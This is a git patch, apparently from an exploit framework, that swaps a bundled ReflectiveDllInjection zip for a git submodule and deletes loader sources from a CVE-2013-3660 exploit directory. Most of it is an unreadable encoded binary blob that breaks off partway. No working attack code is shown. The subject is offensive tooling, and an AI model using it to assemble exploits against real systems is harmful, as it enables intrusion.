From 81c78efaea465e3420d60e713f0466e8ae00e157 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 5 Sep 2013 22:00:04 +0100 Subject: [PATCH] Example submodule --- .gitmodules | 3 + external/source/ReflectiveDLLInjection | 1 + .../source/ReflectiveDllInjection_v1.0.zip | Bin 167590 -> 0 bytes .../source/exploits/cve-2013-3660/.gitignore | 152 ++++++ .../source/exploits/cve-2013-3660/LICENSE.txt | 25 - .../cve-2013-3660/dll/reflective_dll.vcxproj | 24 +- .../dll/src/ReflectiveDLLInjection.h | 51 -- .../cve-2013-3660/dll/src/ReflectiveLoader.c | 496 ------------------ .../cve-2013-3660/dll/src/ReflectiveLoader.h | 202 ------- 9 files changed, 170 insertions(+), 784 deletions(-) create mode 100644 .gitmodules create mode 160000 external/source/ReflectiveDLLInjection delete mode 100644 external/source/ReflectiveDllInjection_v1.0.zip create mode 100644 external/source/exploits/cve-2013-3660/.gitignore delete mode 100755 external/source/exploits/cve-2013-3660/LICENSE.txt delete mode 100755 external/source/exploits/cve-2013-3660/dll/src/ReflectiveDLLInjection.h delete mode 100755 external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.c delete mode 100755 external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.h diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000000..0137af2ab8 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "external/source/ReflectiveDLLInjection"] + path = external/source/ReflectiveDLLInjection + url = git://github.com/stephenfewer/ReflectiveDLLInjection.git diff --git a/external/source/ReflectiveDLLInjection b/external/source/ReflectiveDLLInjection new file mode 160000 index 0000000000..178ba2a6a9 --- /dev/null +++ b/external/source/ReflectiveDLLInjection @@ -0,0 +1 @@ +Subproject commit 178ba2a6a9feee0a9d9757dcaa65168ced588c12 diff --git a/external/source/ReflectiveDllInjection_v1.0.zip b/external/source/ReflectiveDllInjection_v1.0.zip deleted file mode 100644 index 883acde770b84770e728396f7fb96a2318b8f19b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 167590 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 